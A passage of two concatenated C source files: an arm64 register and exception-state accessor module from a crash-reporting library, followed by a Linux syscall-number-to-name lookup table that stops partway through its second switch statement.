// Copyright (c) 2012 Karl Stenerud. All rights reserved.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall remain in place
// in this source code.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
#if defined(__arm64__)
#include "BSG_KSMach.h"
//#define BSG_KSLogger_LocalLevel TRACE
#include "BSG_KSLogger.h"
static const char *bsg_g_registerNames[] = {
"x0", "x1", "x2", "x3", "x4", "x5", "x6", "x7", "x8",
"x9", "x10", "x11", "x12", "x13", "x14", "x15", "x16", "x17",
"x18", "x19", "x20", "x21", "x22", "x23", "x24", "x25", "x26",
"x27", "x28", "x29", "fp", "lr", "sp", "pc", "cpsr"};
static const int bsg_g_registerNamesCount =
sizeof(bsg_g_registerNames) / sizeof(*bsg_g_registerNames);
static const char *bsg_g_exceptionRegisterNames[] = {"exception", "esr", "far"};
static const int bsg_g_exceptionRegisterNamesCount =
sizeof(bsg_g_exceptionRegisterNames) /
sizeof(*bsg_g_exceptionRegisterNames);
uintptr_t
bsg_ksmachframePointer(const BSG_STRUCT_MCONTEXT_L *const machineContext) {
return machineContext->__ss.__fp;
}
uintptr_t
bsg_ksmachstackPointer(const BSG_STRUCT_MCONTEXT_L *const machineContext) {
return machineContext->__ss.__sp;
}
uintptr_t bsg_ksmachinstructionAddress(
const BSG_STRUCT_MCONTEXT_L *const machineContext) {
return machineContext->__ss.__pc;
}
uintptr_t
bsg_ksmachlinkRegister(const BSG_STRUCT_MCONTEXT_L *const machineContext) {
return machineContext->__ss.__lr;
}
bool bsg_ksmachthreadState(const thread_t thread,
BSG_STRUCT_MCONTEXT_L *const machineContext) {
return bsg_ksmachfillState(thread, (thread_state_t)&machineContext->__ss,
ARM_THREAD_STATE64, ARM_THREAD_STATE64_COUNT);
}
bool bsg_ksmachfloatState(const thread_t thread,
BSG_STRUCT_MCONTEXT_L *const machineContext) {
return bsg_ksmachfillState(thread, (thread_state_t)&machineContext->__ns,
ARM_VFP_STATE, ARM_VFP_STATE_COUNT);
}
bool bsg_ksmachexceptionState(const thread_t thread,
BSG_STRUCT_MCONTEXT_L *const machineContext) {
return bsg_ksmachfillState(thread, (thread_state_t)&machineContext->__es,
ARM_EXCEPTION_STATE64,
ARM_EXCEPTION_STATE64_COUNT);
}
int bsg_ksmachnumRegisters(void) { return bsg_g_registerNamesCount; }
const char *bsg_ksmachregisterName(const int regNumber) {
if (regNumber < bsg_ksmachnumRegisters()) {
return bsg_g_registerNames[regNumber];
}
return NULL;
}
uint64_t
bsg_ksmachregisterValue(const BSG_STRUCT_MCONTEXT_L *const machineContext,
const int regNumber) {
if (regNumber <= 29) {
return machineContext->__ss.__x[regNumber];
}
switch (regNumber) {
case 30:
return machineContext->__ss.__fp;
case 31:
return machineContext->__ss.__lr;
case 32:
return machineContext->__ss.__sp;
case 33:
return machineContext->__ss.__pc;
case 34:
return machineContext->__ss.__cpsr;
}
BSG_KSLOG_ERROR("Invalid register number: %d", regNumber);
return 0;
}
int bsg_ksmachnumExceptionRegisters(void) {
return bsg_g_exceptionRegisterNamesCount;
}
const char *bsg_ksmachexceptionRegisterName(const int regNumber) {
if (regNumber < bsg_ksmachnumExceptionRegisters()) {
return bsg_g_exceptionRegisterNames[regNumber];
}
BSG_KSLOG_ERROR("Invalid register number: %d", regNumber);
return NULL;
}
uint64_t bsg_ksmachexceptionRegisterValue(
const BSG_STRUCT_MCONTEXT_L *const machineContext, const int regNumber) {
switch (regNumber) {
case 0:
return machineContext->__es.__exception;
case 1:
return machineContext->__es.__esr;
case 2:
return machineContext->__es.__far;
}
BSG_KSLOG_ERROR("Invalid register number: %d", regNumber);
return 0;
}
uintptr_t
bsg_ksmachfaultAddress(const BSG_STRUCT_MCONTEXT_L *const machineContext) {
return machineContext->__es.__far;
}
int bsg_ksmachstackGrowDirection(void) { return -1; }
#endif
|
the_stack_data/809464.c
|
/* callname */
#include <syscall.h>
static char *callname_buf[256];
const char *callname32(long call)
{
switch (call)
{
case 0:
return "restart_syscall";
case 1:
return "exit";
case 2:
return "fork";
case 3:
return "read";
case 4:
return "write";
case 5:
return "open";
case 6:
return "close";
case 7:
return "waitpid";
case 8:
return "creat";
case 9:
return "link";
case 10:
return "unlink";
case 11:
return "execve";
case 12:
return "chdir";
case 13:
return "time";
case 14:
return "mknod";
case 15:
return "chmod";
case 16:
return "lchown";
case 17:
return "break";
case 18:
return "oldstat";
case 19:
return "lseek";
case 20:
return "getpid";
case 21:
return "mount";
case 22:
return "umount";
case 23:
return "setuid";
case 24:
return "getuid";
case 25:
return "stime";
case 26:
return "ptrace";
case 27:
return "alarm";
case 28:
return "oldfstat";
case 29:
return "pause";
case 30:
return "utime";
case 31:
return "stty";
case 32:
return "gtty";
case 33:
return "access";
case 34:
return "nice";
case 35:
return "ftime";
case 36:
return "sync";
case 37:
return "kill";
case 38:
return "rename";
case 39:
return "mkdir";
case 40:
return "rmdir";
case 41:
return "dup";
case 42:
return "pipe";
case 43:
return "times";
case 44:
return "prof";
case 45:
return "brk";
case 46:
return "setgid";
case 47:
return "getgid";
case 48:
return "signal";
case 49:
return "geteuid";
case 50:
return "getegid";
case 51:
return "acct";
case 52:
return "umount2";
case 53:
return "lock";
case 54:
return "ioctl";
case 55:
return "fcntl";
case 56:
return "mpx";
case 57:
return "setpgid";
case 58:
return "ulimit";
case 59:
return "oldolduname";
case 60:
return "umask";
case 61:
return "chroot";
case 62:
return "ustat";
case 63:
return "dup2";
case 64:
return "getppid";
case 65:
return "getpgrp";
case 66:
return "setsid";
case 67:
return "sigaction";
case 68:
return "sgetmask";
case 69:
return "ssetmask";
case 70:
return "setreuid";
case 71:
return "setregid";
case 72:
return "sigsuspend";
case 73:
return "sigpending";
case 74:
return "sethostname";
case 75:
return "setrlimit";
case 76:
return "getrlimit";
case 77:
return "getrusage";
case 78:
return "gettimeofday";
case 79:
return "settimeofday";
case 80:
return "getgroups";
case 81:
return "setgroups";
case 82:
return "select";
case 83:
return "symlink";
case 84:
return "oldlstat";
case 85:
return "readlink";
case 86:
return "uselib";
case 87:
return "swapon";
case 88:
return "reboot";
case 89:
return "readdir";
case 90:
return "mmap";
case 91:
return "munmap";
case 92:
return "truncate";
case 93:
return "ftruncate";
case 94:
return "fchmod";
case 95:
return "fchown";
case 96:
return "getpriority";
case 97:
return "setpriority";
case 98:
return "profil";
case 99:
return "statfs";
case 100:
return "fstatfs";
case 101:
return "ioperm";
case 102:
return "socketcall";
case 103:
return "syslog";
case 104:
return "setitimer";
case 105:
return "getitimer";
case 106:
return "stat";
case 107:
return "lstat";
case 108:
return "fstat";
case 109:
return "olduname";
case 110:
return "iopl";
case 111:
return "vhangup";
case 112:
return "idle";
case 113:
return "vm86old";
case 114:
return "wait4";
case 115:
return "swapoff";
case 116:
return "sysinfo";
case 117:
return "ipc";
case 118:
return "fsync";
case 119:
return "sigreturn";
case 120:
return "clone";
case 121:
return "setdomainname";
case 122:
return "uname";
case 123:
return "modify_ldt";
case 124:
return "adjtimex";
case 125:
return "mprotect";
case 126:
return "sigprocmask";
case 127:
return "create_module";
case 128:
return "init_module";
case 129:
return "delete_module";
case 130:
return "get_kernel_syms";
case 131:
return "quotactl";
case 132:
return "getpgid";
case 133:
return "fchdir";
case 134:
return "bdflush";
case 135:
return "sysfs";
case 136:
return "personality";
case 137:
return "afs_syscall";
case 138:
return "setfsuid";
case 139:
return "setfsgid";
case 140:
return "_llseek";
case 141:
return "getdents";
case 142:
return "_newselect";
case 143:
return "flock";
case 144:
return "msync";
case 145:
return "readv";
case 146:
return "writev";
case 147:
return "getsid";
case 148:
return "fdatasync";
case 149:
return "_sysctl";
case 150:
return "mlock";
case 151:
return "munlock";
case 152:
return "mlockall";
case 153:
return "munlockall";
case 154:
return "sched_setparam";
case 155:
return "sched_getparam";
case 156:
return "sched_setscheduler";
case 157:
return "sched_getscheduler";
case 158:
return "sched_yield";
case 159:
return "sched_get_priority_max";
case 160:
return "sched_get_priority_min";
case 161:
return "sched_rr_get_interval";
case 162:
return "nanosleep";
case 163:
return "mremap";
case 164:
return "setresuid";
case 165:
return "getresuid";
case 166:
return "vm86";
case 167:
return "query_module";
case 168:
return "poll";
case 169:
return "nfsservctl";
case 170:
return "setresgid";
case 171:
return "getresgid";
case 172:
return "prctl";
case 173:
return "rt_sigreturn";
case 174:
return "rt_sigaction";
case 175:
return "rt_sigprocmask";
case 176:
return "rt_sigpending";
case 177:
return "rt_sigtimedwait";
case 178:
return "rt_sigqueueinfo";
case 179:
return "rt_sigsuspend";
case 180:
return "pread64";
case 181:
return "pwrite64";
case 182:
return "chown";
case 183:
return "getcwd";
case 184:
return "capget";
case 185:
return "capset";
case 186:
return "sigaltstack";
case 187:
return "sendfile";
case 188:
return "getpmsg";
case 189:
return "putpmsg";
case 190:
return "vfork";
case 191:
return "ugetrlimit";
case 192:
return "mmap2";
case 193:
return "truncate64";
case 194:
return "ftruncate64";
case 195:
return "stat64";
case 196:
return "lstat64";
case 197:
return "fstat64";
case 198:
return "lchown32";
case 199:
return "getuid32";
case 200:
return "getgid32";
case 201:
return "geteuid32";
case 202:
return "getegid32";
case 203:
return "setreuid32";
case 204:
return "setregid32";
case 205:
return "getgroups32";
case 206:
return "setgroups32";
case 207:
return "fchown32";
case 208:
return "setresuid32";
case 209:
return "getresuid32";
case 210:
return "setresgid32";
case 211:
return "getresgid32";
case 212:
return "chown32";
case 213:
return "setuid32";
case 214:
return "setgid32";
case 215:
return "setfsuid32";
case 216:
return "setfsgid32";
case 217:
return "pivot_root";
case 218:
return "mincore";
case 219:
return "madvise";
case 220:
return "getdents64";
case 221:
return "fcntl64";
case 224:
return "gettid";
case 225:
return "readahead";
case 226:
return "setxattr";
case 227:
return "lsetxattr";
case 228:
return "fsetxattr";
case 229:
return "getxattr";
case 230:
return "lgetxattr";
case 231:
return "fgetxattr";
case 232:
return "listxattr";
case 233:
return "llistxattr";
case 234:
return "flistxattr";
case 235:
return "removexattr";
case 236:
return "lremovexattr";
case 237:
return "fremovexattr";
case 238:
return "tkill";
case 239:
return "sendfile64";
case 240:
return "futex";
case 241:
return "sched_setaffinity";
case 242:
return "sched_getaffinity";
case 243:
return "set_thread_area";
case 244:
return "get_thread_area";
case 245:
return "io_setup";
case 246:
return "io_destroy";
case 247:
return "io_getevents";
case 248:
return "io_submit";
case 249:
return "io_cancel";
case 250:
return "fadvise64";
case 252:
return "exit_group";
case 253:
return "lookup_dcookie";
case 254:
return "epoll_create";
case 255:
return "epoll_ctl";
case 256:
return "epoll_wait";
case 257:
return "remap_file_pages";
case 258:
return "set_tid_address";
case 259:
return "timer_create";
case 260:
return "timer_settime";
case 261:
return "timer_gettime";
case 262:
return "timer_getoverrun";
case 263:
return "timer_delete";
case 264:
return "clock_settime";
case 265:
return "clock_gettime";
case 266:
return "clock_getres";
case 267:
return "clock_nanosleep";
case 268:
return "statfs64";
case 269:
return "fstatfs64";
case 270:
return "tgkill";
case 271:
return "utimes";
case 272:
return "fadvise64_64";
case 273:
return "vserver";
case 274:
return "mbind";
case 275:
return "get_mempolicy";
case 276:
return "set_mempolicy";
case 277:
return "mq_open";
case 278:
return "mq_unlink";
case 279:
return "mq_timedsend";
case 280:
return "mq_timedreceive";
case 281:
return "mq_notify";
case 282:
return "mq_getsetattr";
case 283:
return "kexec_load";
case 284:
return "waitid";
case 286:
return "add_key";
case 287:
return "request_key";
case 288:
return "keyctl";
case 289:
return "ioprio_set";
case 290:
return "ioprio_get";
case 291:
return "inotify_init";
case 292:
return "inotify_add_watch";
case 293:
return "inotify_rm_watch";
case 294:
return "migrate_pages";
case 295:
return "openat";
case 296:
return "mkdirat";
case 297:
return "mknodat";
case 298:
return "fchownat";
case 299:
return "futimesat";
case 300:
return "fstatat64";
case 301:
return "unlinkat";
case 302:
return "renameat";
case 303:
return "linkat";
case 304:
return "symlinkat";
case 305:
return "readlinkat";
case 306:
return "fchmodat";
case 307:
return "faccessat";
case 308:
return "pselect6";
case 309:
return "ppoll";
case 310:
return "unshare";
case 311:
return "set_robust_list";
case 312:
return "get_robust_list";
case 313:
return "splice";
case 314:
return "sync_file_range";
case 315:
return "tee";
case 316:
return "vmsplice";
case 317:
return "move_pages";
case 318:
return "getcpu";
case 319:
return "epoll_pwait";
case 320:
return "utimensat";
case 321:
return "signalfd";
case 322:
return "timerfd_create";
case 323:
return "eventfd";
case 324:
return "fallocate";
case 325:
return "timerfd_settime";
case 326:
return "timerfd_gettime";
case 327:
return "signalfd4";
case 328:
return "eventfd2";
case 329:
return "epoll_create1";
case 330:
return "dup3";
case 331:
return "pipe2";
case 332:
return "inotify_init1";
case 333:
return "preadv";
case 334:
return "pwritev";
case 335:
return "rt_tgsigqueueinfo";
case 336:
return "perf_event_open";
case 337:
return "recvmmsg";
case 338:
return "fanotify_init";
case 339:
return "fanotify_mark";
case 340:
return "prlimit64";
case 341:
return "name_to_handle_at";
case 342:
return "open_by_handle_at";
case 343:
return "clock_adjtime";
case 344:
return "syncfs";
case 345:
return "sendmmsg";
case 346:
return "setns";
case 347:
return "process_vm_readv";
case 348:
return "process_vm_writev";
case 349:
return "kcmp";
case 350:
return "finit_module";
case 351:
return "sched_setattr";
case 352:
return "sched_getattr";
case 353:
return "renameat2";
case 354:
return "seccomp";
case 355:
return "getrandom";
case 356:
return "memfd_create";
case 357:
return "bpf";
case 358:
return "execveat";
case 359:
return "socket";
case 360:
return "socketpair";
case 361:
return "bind";
case 362:
return "connect";
case 363:
return "listen";
case 364:
return "accept4";
case 365:
return "getsockopt";
case 366:
return "setsockopt";
case 367:
return "getsockname";
case 368:
return "getpeername";
case 369:
return "sendto";
case 370:
return "sendmsg";
case 371:
return "recvfrom";
case 372:
return "recvmsg";
case 373:
return "shutdown";
case 374:
return "userfaultfd";
case 375:
return "membarrier";
case 376:
return "mlock2";
case 377:
return "copy_file_range";
case 378:
return "preadv2";
case 379:
return "pwritev2";
case 380:
return "pkey_mprotect";
case 381:
return "pkey_alloc";
case 382:
return "pkey_free";
case 383:
return "statx";
case 384:
return "arch_prctl";
case 385:
return "io_pgetevents";
case 386:
return "rseq";
default:
return "unknown";
}
}
const char *callname(long call)
{
switch (call)
{
#ifdef SYS__sysctl
case SYS__sysctl:
return "_sysctl";
#endif
#ifdef SYS_access
case SYS_access:
return "access";
#endif
#ifdef SYS_acct
case SYS_acct:
return "acct";
#endif
#ifdef SYS_add_key
case SYS_add_key:
return "add_key";
#endif
#ifdef SYS_adjtimex
case SYS_adjtimex:
return "adjtimex";
#endif
#ifdef SYS_afs_syscall
case SYS_afs_syscall:
return "afs_syscall";
#endif
#ifdef SYS_alarm
case SYS_alarm:
return "alarm";
#endif
#ifdef SYS_brk
case SYS_brk:
return "brk";
#endif
#ifdef SYS_capget
case SYS_capget:
return "capget";
#endif
#ifdef SYS_capset
case SYS_capset:
return "capset";
#endif
#ifdef SYS_chdir
case SYS_chdir:
return "chdir";
#endif
#ifdef SYS_chmod
case SYS_chmod:
return "chmod";
#endif
#ifdef SYS_chown
case SYS_chown:
return "chown";
#endif
#ifdef SYS_chroot
case SYS_chroot:
return "chroot";
#endif
#ifdef SYS_clock_getres
case SYS_clock_getres:
return "clock_getres";
#endif
#ifdef SYS_clock_gettime
case SYS_clock_gettime:
return "clock_gettime";
#endif
#ifdef SYS_clock_nanosleep
case SYS_clock_nanosleep:
return "clock_nanosleep";
#endif
#ifdef SYS_clock_settime
case SYS_clock_settime:
return "clock_settime";
#endif
#ifdef SYS_clone
case SYS_clone:
return "clone";
#endif
#ifdef SYS_close
case SYS_close:
return "close";
#endif
#ifdef SYS_creat
case SYS_creat:
return "creat";
#endif
#ifdef SYS_create_module
case SYS_create_module:
return "create_module";
#endif
#ifdef SYS_delete_module
case SYS_delete_module:
return "delete_module";
#endif
#ifdef SYS_dup
case SYS_dup:
return "dup";
#endif
#ifdef SYS_dup2
case SYS_dup2:
return "dup2";
#endif
#ifdef SYS_epoll_create
case SYS_epoll_create:
return "epoll_create";
#endif
#ifdef SYS_epoll_ctl
case SYS_epoll_ctl:
return "epoll_ctl";
#endif
#ifdef SYS_epoll_pwait
case SYS_epoll_pwait:
return "epoll_pwait";
#endif
#ifdef SYS_epoll_wait
case SYS_epoll_wait:
return "epoll_wait";
#endif
#ifdef SYS_eventfd
case SYS_eventfd:
return "eventfd";
#endif
#ifdef SYS_execve
case SYS_execve:
return "execve";
#endif
#ifdef SYS_exit
case SYS_exit:
return "exit";
#endif
#ifdef SYS_exit_group
case SYS_exit_group:
return "exit_group";
#endif
#ifdef SYS_faccessat
case SYS_faccessat:
return "faccessat";
#endif
#ifdef SYS_fadvise64
case SYS_fadvise64:
return "fadvise64";
#endif
#ifdef SYS_fallocate
case SYS_fallocate:
return "fallocate";
#endif
#ifdef SYS_fchdir
case SYS_fchdir:
return "fchdir";
#endif
#ifdef SYS_fchmod
case SYS_fchmod:
return "fchmod";
#endif
#ifdef SYS_fchmodat
case SYS_fchmodat:
return "fchmodat";
#endif
#ifdef SYS_fchown
case SYS_fchown:
return "fchown";
#endif
#ifdef SYS_fchownat
case SYS_fchownat:
return "fchownat";
#endif
#ifdef SYS_fcntl
case SYS_fcntl:
return "fcntl";
#endif
#ifdef SYS_fdatasync
case SYS_fdatasync:
return "fdatasync";
#endif
#ifdef SYS_fgetxattr
case SYS_fgetxattr:
return "fgetxattr";
#endif
#ifdef SYS_flistxattr
case SYS_flistxattr:
return "flistxattr";
#endif
#ifdef SYS_flock
case SYS_flock:
return "flock";
#endif
#ifdef SYS_fork
case SYS_fork:
return "fork";
#endif
#ifdef SYS_fremovexattr
case SYS_fremovexattr:
return "fremovexattr";
#endif
#ifdef SYS_fsetxattr
case SYS_fsetxattr:
return "fsetxattr";
#endif
#ifdef SYS_fstat
case SYS_fstat:
return "fstat";
#endif
#ifdef SYS_fstatfs
case SYS_fstatfs:
return "fstatfs";
#endif
#ifdef SYS_fsync
case SYS_fsync:
return "fsync";
#endif
#ifdef SYS_ftruncate
case SYS_ftruncate:
return "ftruncate";
#endif
#ifdef SYS_futex
case SYS_futex:
return "futex";
#endif
#ifdef SYS_futimesat
case SYS_futimesat:
return "futimesat";
#endif
#ifdef SYS_get_kernel_syms
case SYS_get_kernel_syms:
return "get_kernel_syms";
#endif
#ifdef SYS_get_mempolicy
case SYS_get_mempolicy:
return "get_mempolicy";
#endif
#ifdef SYS_get_robust_list
case SYS_get_robust_list:
return "get_robust_list";
#endif
#ifdef SYS_get_thread_area
case SYS_get_thread_area:
return "get_thread_area";
#endif
#ifdef SYS_getcwd
case SYS_getcwd:
return "getcwd";
#endif
#ifdef SYS_getdents
case SYS_getdents:
return "getdents";
#endif
#ifdef SYS_getdents64
case SYS_getdents64:
return "getdents64";
#endif
#ifdef SYS_getegid
case SYS_getegid:
return "getegid";
#endif
#ifdef SYS_geteuid
case SYS_geteuid:
return "geteuid";
#endif
#ifdef SYS_getgid
case SYS_getgid:
return "getgid";
#endif
#ifdef SYS_getgroups
case SYS_getgroups:
return "getgroups";
#endif
#ifdef SYS_getitimer
case SYS_getitimer:
return "getitimer";
#endif
#ifdef SYS_getpgid
case SYS_getpgid:
return "getpgid";
#endif
#ifdef SYS_getpgrp
case SYS_getpgrp:
return "getpgrp";
#endif
#ifdef SYS_getpid
case SYS_getpid:
return "getpid";
#endif
#ifdef SYS_getpmsg
case SYS_getpmsg:
return "getpmsg";
#endif
#ifdef SYS_getppid
case SYS_getppid:
return "getppid";
#endif
#ifdef SYS_getpriority
case SYS_getpriority:
return "getpriority";
#endif
#ifdef SYS_getresgid
case SYS_getresgid:
return "getresgid";
#endif
#ifdef SYS_getresuid
case SYS_getresuid:
return "getresuid";
#endif
#ifdef SYS_getrlimit
case SYS_getrlimit:
return "getrlimit";
#endif
#ifdef SYS_getrusage
case SYS_getrusage:
return "getrusage";
#endif
#ifdef SYS_getsid
case SYS_getsid:
return "getsid";
#endif
#ifdef SYS_gettid
case SYS_gettid:
return "gettid";
#endif
#ifdef SYS_gettimeofday
case SYS_gettimeofday:
return "gettimeofday";
#endif
#ifdef SYS_getuid
case SYS_getuid:
return "getuid";
#endif
#ifdef SYS_getxattr
case SYS_getxattr:
return "getxattr";
#endif
#ifdef SYS_init_module
case SYS_init_module:
return "init_module";
#endif
#ifdef SYS_inotify_add_watch
case SYS_inotify_add_watch:
return "inotify_add_watch";
#endif
#ifdef SYS_inotify_init
case SYS_inotify_init:
return "inotify_init";
#endif
#ifdef SYS_inotify_rm_watch
case SYS_inotify_rm_watch:
return "inotify_rm_watch";
#endif
#ifdef SYS_io_cancel
case SYS_io_cancel:
return "io_cancel";
#endif
#ifdef SYS_io_destroy
case SYS_io_destroy:
return "io_destroy";
#endif
#ifdef SYS_io_getevents
case SYS_io_getevents:
return "io_getevents";
#endif
#ifdef SYS_io_setup
case SYS_io_setup:
return "io_setup";
#endif
#ifdef SYS_io_submit
case SYS_io_submit:
return "io_submit";
#endif
#ifdef SYS_ioctl
case SYS_ioctl:
return "ioctl";
#endif
#ifdef SYS_ioperm
case SYS_ioperm:
return "ioperm";
#endif
#ifdef SYS_iopl
case SYS_iopl:
return "iopl";
#endif
#ifdef SYS_ioprio_get
case SYS_ioprio_get:
return "ioprio_get";
#endif
#ifdef SYS_ioprio_set
case SYS_ioprio_set:
return "ioprio_set";
#endif
#ifdef SYS_kexec_load
case SYS_kexec_load:
return "kexec_load";
#endif
#ifdef SYS_keyctl
case SYS_keyctl:
return "keyctl";
#endif
#ifdef SYS_kill
case SYS_kill:
return "kill";
#endif
#ifdef SYS_lchown
case SYS_lchown:
return "lchown";
#endif
#ifdef SYS_lgetxattr
case SYS_lgetxattr:
return "lgetxattr";
#endif
#ifdef SYS_link
case SYS_link:
return "link";
#endif
#ifdef SYS_linkat
case SYS_linkat:
return "linkat";
#endif
#ifdef SYS_listxattr
case SYS_listxattr:
return "listxattr";
#endif
#ifdef SYS_llistxattr
case SYS_llistxattr:
return "llistxattr";
#endif
#ifdef SYS_lookup_dcookie
case SYS_lookup_dcookie:
return "lookup_dcookie";
#endif
#ifdef SYS_lremovexattr
case SYS_lremovexattr:
return "lremovexattr";
#endif
#ifdef SYS_lseek
case SYS_lseek:
return "lseek";
#endif
#ifdef SYS_lsetxattr
case SYS_lsetxattr:
return "lsetxattr";
#endif
#ifdef SYS_lstat
case SYS_lstat:
return "lstat";
#endif
#ifdef SYS_madvise
case SYS_madvise:
return "madvise";
#endif
#ifdef SYS_mbind
case SYS_mbind:
return "mbind";
#endif
#ifdef SYS_migrate_pages
case SYS_migrate_pages:
return "migrate_pages";
#endif
#ifdef SYS_mincore
case SYS_mincore:
return "mincore";
#endif
#ifdef SYS_mkdir
case SYS_mkdir:
return "mkdir";
#endif
#ifdef SYS_mkdirat
case SYS_mkdirat:
return "mkdirat";
#endif
#ifdef SYS_mknod
case SYS_mknod:
return "mknod";
#endif
#ifdef SYS_mknodat
case SYS_mknodat:
return "mknodat";
#endif
#ifdef SYS_mlock
case SYS_mlock:
return "mlock";
#endif
#ifdef SYS_mlockall
case SYS_mlockall:
return "mlockall";
#endif
#ifdef SYS_mmap
case SYS_mmap:
return "mmap";
#endif
#ifdef SYS_modify_ldt
case SYS_modify_ldt:
return "modify_ldt";
#endif
#ifdef SYS_mount
case SYS_mount:
return "mount";
#endif
#ifdef SYS_move_pages
case SYS_move_pages:
return "move_pages";
#endif
#ifdef SYS_mprotect
case SYS_mprotect:
return "mprotect";
#endif
#ifdef SYS_mq_getsetattr
case SYS_mq_getsetattr:
return "mq_getsetattr";
#endif
#ifdef SYS_mq_notify
case SYS_mq_notify:
return "mq_notify";
#endif
#ifdef SYS_mq_open
case SYS_mq_open:
return "mq_open";
#endif
#ifdef SYS_mq_timedreceive
case SYS_mq_timedreceive:
return "mq_timedreceive";
#endif
#ifdef SYS_mq_timedsend
case SYS_mq_timedsend:
return "mq_timedsend";
#endif
#ifdef SYS_mq_unlink
case SYS_mq_unlink:
return "mq_unlink";
#endif
#ifdef SYS_mremap
case SYS_mremap:
return "mremap";
#endif
#ifdef SYS_msync
case SYS_msync:
return "msync";
#endif
#ifdef SYS_munlock
case SYS_munlock:
return "munlock";
#endif
#ifdef SYS_munlockall
case SYS_munlockall:
return "munlockall";
#endif
#ifdef SYS_munmap
case SYS_munmap:
return "munmap";
#endif
#ifdef SYS_nanosleep
case SYS_nanosleep:
return "nanosleep";
#endif
#ifdef SYS_nfsservctl
case SYS_nfsservctl:
return "nfsservctl";
#endif
#ifdef SYS_open
case SYS_open:
return "open";
#endif
#ifdef SYS_openat
case SYS_openat:
return "openat";
#endif
#ifdef SYS_pause
case SYS_pause:
return "pause";
#endif
#ifdef SYS_personality
case SYS_personality:
return "personality";
#endif
#ifdef SYS_pipe
case SYS_pipe:
return "pipe";
#endif
#ifdef SYS_pivot_root
case SYS_pivot_root:
return "pivot_root";
#endif
#ifdef SYS_poll
case SYS_poll:
return "poll";
#endif
#ifdef SYS_ppoll
case SYS_ppoll:
return "ppoll";
#endif
#ifdef SYS_prctl
case SYS_prctl:
return "prctl";
#endif
#ifdef SYS_pread64
case SYS_pread64:
return "pread64";
#endif
#ifdef SYS_pselect6
case SYS_pselect6:
return "pselect6";
#endif
#ifdef SYS_ptrace
case SYS_ptrace:
return "ptrace";
#endif
#ifdef SYS_putpmsg
case SYS_putpmsg:
return "putpmsg";
#endif
#ifdef SYS_pwrite64
case SYS_pwrite64:
return "pwrite64";
#endif
#ifdef SYS_query_module
case SYS_query_module:
return "query_module";
#endif
#ifdef SYS_quotactl
case SYS_quotactl:
return "quotactl";
#endif
#ifdef SYS_read
case SYS_read:
return "read";
#endif
#ifdef SYS_readahead
case SYS_readahead:
return "readahead";
#endif
#ifdef SYS_readlink
case SYS_readlink:
return "readlink";
#endif
#ifdef SYS_readlinkat
case SYS_readlinkat:
return "readlinkat";
#endif
#ifdef SYS_readv
case SYS_readv:
return "readv";
#endif
#ifdef SYS_reboot
case SYS_reboot:
return "reboot";
#endif
#ifdef SYS_remap_file_pages
case SYS_remap_file_pages:
return "remap_file_pages";
#endif
#ifdef SYS_removexattr
case SYS_removexattr:
return "removexattr";
#endif
#ifdef SYS_rename
case SYS_rename:
return "rename";
#endif
#ifdef SYS_renameat
case SYS_renameat:
return "renameat";
#endif
#ifdef SYS_request_key
case SYS_request_key:
return "request_key";
#endif
#ifdef SYS_restart_syscall
case SYS_restart_syscall:
return "restart_syscall";
#endif
#ifdef SYS_rmdir
case SYS_rmdir:
return "rmdir";
#endif
#ifdef SYS_rt_sigaction
case SYS_rt_sigaction:
return "rt_sigaction";
#endif
#ifdef SYS_rt_sigpending
case SYS_rt_sigpending:
return "rt_sigpending";
#endif
#ifdef SYS_rt_sigprocmask
case SYS_rt_sigprocmask:
return "rt_sigprocmask";
#endif
#ifdef SYS_rt_sigqueueinfo
case SYS_rt_sigqueueinfo:
return "rt_sigqueueinfo";
#endif
#ifdef SYS_rt_sigreturn
case SYS_rt_sigreturn:
return "rt_sigreturn";
#endif
#ifdef SYS_rt_sigsuspend
case SYS_rt_sigsuspend:
return "rt_sigsuspend";
#endif
#ifdef SYS_rt_sigtimedwait
case SYS_rt_sigtimedwait:
return "rt_sigtimedwait";
#endif
#ifdef SYS_sched_get_priority_max
case SYS_sched_get_priority_max:
return "sched_get_priority_max";
#endif
#ifdef SYS_sched_get_priority_min
case SYS_sched_get_priority_min:
return "sched_get_priority_min";
#endif
#ifdef SYS_sched_getaffinity
case SYS_sched_getaffinity:
return "sched_getaffinity";
#endif
#ifdef SYS_sched_getparam
case SYS_sched_getparam:
return "sched_getparam";
#endif
#ifdef SYS_sched_getscheduler
case SYS_sched_getscheduler:
return "sched_getscheduler";
#endif
#ifdef SYS_sched_rr_get_interval
case SYS_sched_rr_get_interval:
return "sched_rr_get_interval";
#endif
#ifdef SYS_sched_setaffinity
case SYS_sched_setaffinity:
return "sched_setaffinity";
#endif
#ifdef SYS_sched_setparam
case SYS_sched_setparam:
return "sched_setparam";
#endif
#ifdef SYS_sched_setscheduler
case SYS_sched_setscheduler:
return "sched_setscheduler";
#endif
#ifdef SYS_sched_yield
case SYS_sched_yield:
return "sched_yield";
#endif
#ifdef SYS_select
case SYS_select:
return "select";
#endif
#ifdef SYS_sendfile
case SYS_sendfile:
return "sendfile";
#endif
#ifdef SYS_set_mempolicy
case SYS_set_mempolicy:
return "set_mempolicy";
#endif
#ifdef SYS_set_robust_list
case SYS_set_robust_list:
return "set_robust_list";
#endif
#ifdef SYS_set_thread_area
case SYS_set_thread_area:
return "set_thread_area";
#endif
#ifdef SYS_set_tid_address
case SYS_set_tid_address:
return "set_tid_address";
#endif
#ifdef SYS_setdomainname
case SYS_setdomainname:
return "setdomainname";
#endif
#ifdef SYS_setfsgid
case SYS_setfsgid:
return "setfsgid";
#endif
#ifdef SYS_setfsuid
case SYS_setfsuid:
return "setfsuid";
#endif
#ifdef SYS_setgid
case SYS_setgid:
return "setgid";
#endif
